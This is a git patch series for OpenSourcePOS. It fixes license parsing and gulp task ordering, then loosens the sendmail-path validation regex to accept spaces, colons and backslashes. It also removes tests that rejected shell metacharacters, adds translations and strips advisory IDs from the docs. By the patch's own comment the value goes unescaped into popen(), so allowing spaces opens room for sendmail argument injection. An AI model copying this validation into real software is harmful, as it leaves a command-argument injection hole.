From 6a36cdc3e9f22282770b06a5bb8680916be91ffb Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:32:52 +0400 Subject: [PATCH 01/31] fix(licenses): guard malformed data, parallelize gulp tasks, require Node 20 fix(config): guard against non-array and incomplete license data - Wrap npm-prod/npm-dev license parsing in is_array() checks to avoid foreach errors when JSON decodes to null or non-array - Skip dependency entries missing required keys (name, author, homepage, installedVersion, licenseType) in open-source and license-key loops fix(gulp): correctly await all async tasks - Parallelize update-licenses, copy-bootswatch, copy-bootswatch5, and copy-bootstrap sub-tasks via Promise.all - Wrap exec() calls with finished(execStream.resume()) so composer and npm license-report commands fully write output files before task resolves; .resume() drains stdout so streams can emit close/finish events build(package): require Node.js >=20 - Add engines field to package.json - Regenerate package-lock.json with matching constraint - Document prerequisite in BUILD.md; license-reporting dep needs regex features unavailable in Node 18 and earlier Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- BUILD.md | 1 + app/Controllers/Config.php | 40 ++++++++---- gulpfile.js | 128 ++++++++++++++++++++----------------- package-lock.json | 3 + package.json | 3 + 5 files changed, 104 insertions(+), 71 deletions(-) diff --git a/BUILD.md b/BUILD.md index b3858453c..57dd3efc4 100644 --- a/BUILD.md +++ b/BUILD.md @@ -14,6 +14,7 @@ The build process uses the build tools "npm" and "gulp" to piece everything toge ## Prerequisites +- Install Node.js 20 or later (the build fails on Node 18 and earlier - one of the license reporting dependencies requires newer JavaScript regex features) - Install the latest version of NPM (tested using version 9.4.2) - Install the latest version of Composer (tested using composer 2.5.1) diff --git a/app/Controllers/Config.php b/app/Controllers/Config.php index a63bcaf8f..0f869d357 100644 --- a/app/Controllers/Config.php +++ b/app/Controllers/Config.php @@ -158,14 +158,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-prod.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } @@ -178,14 +184,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-dev.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } diff --git a/gulpfile.js b/gulpfile.js index 241f0ea16..78b28464d 100644 --- a/gulpfile.js +++ b/gulpfile.js @@ -39,57 +39,69 @@ gulp.task('compress', function() { gulp.task('update-licenses', function() { - run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec(); - run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec(); - run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec(); - return pipeline(gulp.src('LICENSE'),gulp.dest('public/license')); + function run_completion(execStream) { + return finished(execStream.resume()); + } + + return Promise.all([ + run_completion(run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec()), + run_completion(run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec()), + run_completion(run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec()), + pipeline(gulp.src('LICENSE'),gulp.dest('public/license')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch', function() { - pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')); - pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')); - pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')); - pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')); - pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')); - pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')); - pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')); - pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')); - pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')); - pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')); - pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')); - return pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')), + pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')), + pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')), + pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')), + pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')), + pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')), + pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')), + pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')), + pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')), + pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')), + pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')), + pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch5', function() { - pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')); - return pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')) + ]); }); // Copy the bootstrap style into its own folder so OSPOS can select it from the collection gulp.task('copy-bootstrap', function() { - pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')); - pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); - return pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')) + ]); }); // /public/resources/ospos - contains the minimized files to be packed into opensourcepos.min.[css/js] @@ -277,25 +289,27 @@ gulp.task('copy-fonts', function() { gulp.task('copy-menubar', function() { - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")); - return pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")); + return Promise.all([ + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")) + ]); }); diff --git a/package-lock.json b/package-lock.json index 153d0b69e..887818679 100644 --- a/package-lock.json +++ b/package-lock.json @@ -61,6 +61,9 @@ "npm-check-updates": "^22.1.1", "readable-stream": "^4.4.2", "stream-series": "^0.1.1" + }, + "engines": { + "node": ">=20" } }, "node_modules/@babel/runtime": { diff --git a/package.json b/package.json index 4afdf7723..f2546ba4a 100644 --- a/package.json +++ b/package.json @@ -24,6 +24,9 @@ ], "type": "module", "main": "index.php", + "engines": { + "node": ">=20" + }, "scripts": { "build": "gulp default", "gulp": "gulp" From b610ae28acfad48728d38c09e1e1e311a2a309d8 Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Thu, 10 Sep 2026 18:01:12 +0400 Subject: [PATCH 02/31] fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs fix(validation): allow Windows sendmail paths, tighten shell metachar exclusions Broaden PLAIN_FILESYSTEM_PATH_STRICT to accept real-world sendmail formats while blocking command injection characters not needed in valid paths. - OSPOSRules.php: allow space, colon, backslash for Windows paths (e.g. C:\wamp64\...) and trailing args (-t -i); still excludes ampersand, backtick, subshell, redirect, and cmd.exe metacharacters - OSPOSRulesTest.php: add cases for Windows paths, trailing args, and injection payloads - Remove 7 ConfigTest assertions that expected metacharacter rejection; add acceptance test for sendmail path with trailing args i18n(lang): expand mailpath_invalid message across all locales - Fill previously empty mailpath_invalid keys across all locales - Update existing translations (de-CH, de-DE, es-ES, es-MX, fr, nl-BE, nl-NL) to reflect newly allowed characters; nl locales corrected from English loanwords to proper Dutch terms - Add missing key to ckb/Config.php docs: remove security advisory IDs from public-facing files - AGENTS.md: extend no-advisory-ID rule to documentation and URLs - INSTALL.md: drop GHSA reference and advisory link from Host Header Injection guidance; rationale and fix instructions remain intact Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- AGENTS.md | 1 + INSTALL.md | 5 +- app/Config/Validation/OSPOSRules.php | 10 +-- app/Language/ar-EG/Config.php | 2 +- app/Language/ar-LB/Config.php | 2 +- app/Language/az/Config.php | 2 +- app/Language/bg/Config.php | 2 +- app/Language/bs/Config.php | 2 +- app/Language/ckb/Config.php | 1 + app/Language/cs/Config.php | 2 +- app/Language/da/Config.php | 2 +- app/Language/de-CH/Config.php | 2 +- app/Language/de-DE/Config.php | 2 +- app/Language/el/Config.php | 2 +- app/Language/en-GB/Config.php | 2 +- app/Language/en/Config.php | 2 +- app/Language/es-ES/Config.php | 2 +- app/Language/es-MX/Config.php | 2 +- app/Language/fa/Config.php | 2 +- app/Language/fr/Config.php | 2 +- app/Language/he/Config.php | 2 +- app/Language/hr-HR/Config.php | 2 +- app/Language/hu/Config.php | 2 +- app/Language/hy/Config.php | 2 +- app/Language/id/Config.php | 1 + app/Language/it/Config.php | 2 +- app/Language/ka/Config.php | 2 +- app/Language/km/Config.php | 2 +- app/Language/lo/Config.php | 2 +- app/Language/ml/Config.php | 2 +- app/Language/nb/Config.php | 2 +- app/Language/nl-BE/Config.php | 2 +- app/Language/nl-NL/Config.php | 2 +- app/Language/pl/Config.php | 1 + app/Language/pt-BR/Config.php | 2 +- app/Language/ro/Config.php | 2 +- app/Language/ru/Config.php | 2 +- app/Language/sv/Config.php | 2 +- app/Language/sw-KE/Config.php | 2 +- app/Language/sw-TZ/Config.php | 2 +- app/Language/ta/Config.php | 2 +- app/Language/th/Config.php | 2 +- app/Language/tl/Config.php | 2 +- app/Language/tr/Config.php | 2 +- app/Language/uk/Config.php | 2 +- app/Language/ur/Config.php | 2 +- app/Language/vi/Config.php | 2 +- app/Language/zh-Hans/Config.php | 2 +- app/Language/zh-Hant/Config.php | 2 +- tests/Config/Validation/OSPOSRulesTest.php | 26 +++++-- tests/Controllers/ConfigTest.php | 88 +--------------------- 51 files changed, 74 insertions(+), 145 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 4f79fa75d..1cb85299a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -59,3 +59,4 @@ This document provides guidance for AI agents working on the Open Source Point o - Never commit secrets, credentials, or `.env` files - Use parameterized queries to prevent SQL injection - Validate and sanitize all user input +- Never reference security advisory IDs (CVE, GHSA, etc.) in code, comments, commit messages, docblocks, documentation, or URLs — treat them the same as secrets. They act as a roadmap for attackers researching the exact exploit a fix addresses. diff --git a/INSTALL.md b/INSTALL.md index b688cf972..24b7a9503 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -10,7 +10,7 @@ ### Allowed Hostnames (REQUIRED for Production) -⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks (GHSA-jchf-7hr6-h4f3). **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** +⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks. **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** **Add to your `.env` file:** @@ -34,9 +34,8 @@ RuntimeException: Security: allowedHostnames is not configured. **Solution**: Add `app.allowedHostnames` to your `.env` file with your domain(s). **Why this matters:** -- Prevents Host Header Injection attacks (GHSA-jchf-7hr6-h4f3) +- Prevents Host Header Injection attacks - Ensures URLs are generated with the correct domain -- Security advisory: https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-jchf-7hr6-h4f3 - Fixes issue #4480: .env configuration now works via comma-separated values ### HTTPS Behind Proxy diff --git a/app/Config/Validation/OSPOSRules.php b/app/Config/Validation/OSPOSRules.php index e9a759ebe..b87251da3 100644 --- a/app/Config/Validation/OSPOSRules.php +++ b/app/Config/Validation/OSPOSRules.php @@ -254,10 +254,10 @@ class OSPOSRules } /** - * Validates that the candidate is a plain filesystem path: only letters, digits, - * underscore, dash, dot and forward slash. Uses \A...\z (not ^...$) because PCRE's $ - * also matches immediately before a single trailing newline, which would let a - * value like "/usr/bin/php\n" slip through — the bug behind GHSA-jc56-j8m6-q627. + * Validates a plain filesystem path, allowing space/colon/backslash for Windows paths and + * trailing sendmail-style args. Excludes shell metacharacters since this value is concatenated + * unescaped into a popen() call. Uses \A...\z, not ^...$, since $ also matches before a + * trailing newline. * * @param string $candidate * @param string|null $error @@ -270,6 +270,6 @@ class OSPOSRules return false; } - return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.]+\z/', $candidate); + return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.: \\\\]+\z/', $candidate); } } diff --git a/app/Language/ar-EG/Config.php b/app/Language/ar-EG/Config.php index 5182c4784..c8a07b406 100644 --- a/app/Language/ar-EG/Config.php +++ b/app/Language/ar-EG/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/ar-LB/Config.php b/app/Language/ar-LB/Config.php index 30faacd61..17cdbe6ce 100644 --- a/app/Language/ar-LB/Config.php +++ b/app/Language/ar-LB/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/az/Config.php b/app/Language/az/Config.php index 0ef2f38c6..302476d67 100644 --- a/app/Language/az/Config.php +++ b/app/Language/az/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Sağ', 'sales_invoice_format' => 'Satış Fatura Formatı', 'sales_quote_format' => 'Satış Sitat Formati', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Yanlış sendmail yolu. Yalnız hərflərə, rəqəmlərə, tirelərə, alt xətlərə, əyri xətlərə, tərs əyri xətlərə, iki nöqtəyə, boşluqlara və nöqtələrə icazə verilir.', 'saved_successfully' => 'Konfiqurasiya uğurla saxlanıldı.', 'saved_unsuccessfully' => 'Konfiqurasiyanı saxlamq mümkün olmadı.', 'security_issue' => 'Təhlükəsizlik açığı xəbərdarlığı', diff --git a/app/Language/bg/Config.php b/app/Language/bg/Config.php index c932fd673..ed178157d 100644 --- a/app/Language/bg/Config.php +++ b/app/Language/bg/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Невалиден път до sendmail. Разрешени са само букви, цифри, тирета, долни черти, наклонени черти, обратни наклонени черти, двоеточия, интервали и точки.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/bs/Config.php b/app/Language/bs/Config.php index f195ba96f..ffd58cb04 100644 --- a/app/Language/bs/Config.php +++ b/app/Language/bs/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Desno', 'sales_invoice_format' => 'Format fakture', 'sales_quote_format' => 'Format navedene prodaje', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Nevažeća sendmail putanja. Dozvoljena su samo slova, brojevi, crtice, donje crte, kose crte, obrnute kose crte, dvotačke, razmaci i tačke.', 'saved_successfully' => 'Konfiguracija je uspješno snimljena.', 'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena.', 'security_issue' => 'Upozorenje o sigurnosnoj ranjivosti', diff --git a/app/Language/ckb/Config.php b/app/Language/ckb/Config.php index f2403a0ef..98ef58f0a 100644 --- a/app/Language/ckb/Config.php +++ b/app/Language/ckb/Config.php @@ -285,6 +285,7 @@ return [ 'right' => 'ڕاست', 'sales_invoice_format' => 'فۆڕماتی فاکتورەی فرۆشتن', 'sales_quote_format' => 'فۆڕماتی دەرخستەی نرخەکانی فرۆشتن', + 'mailpath_invalid' => 'ڕێچکەی sendmail نادروستە. تەنها پیت، ژمارە، هێڵی بەستەرەوە، هێڵی ژێرەوە، سلاشی ڕاست، سلاشی چەپ، دوو 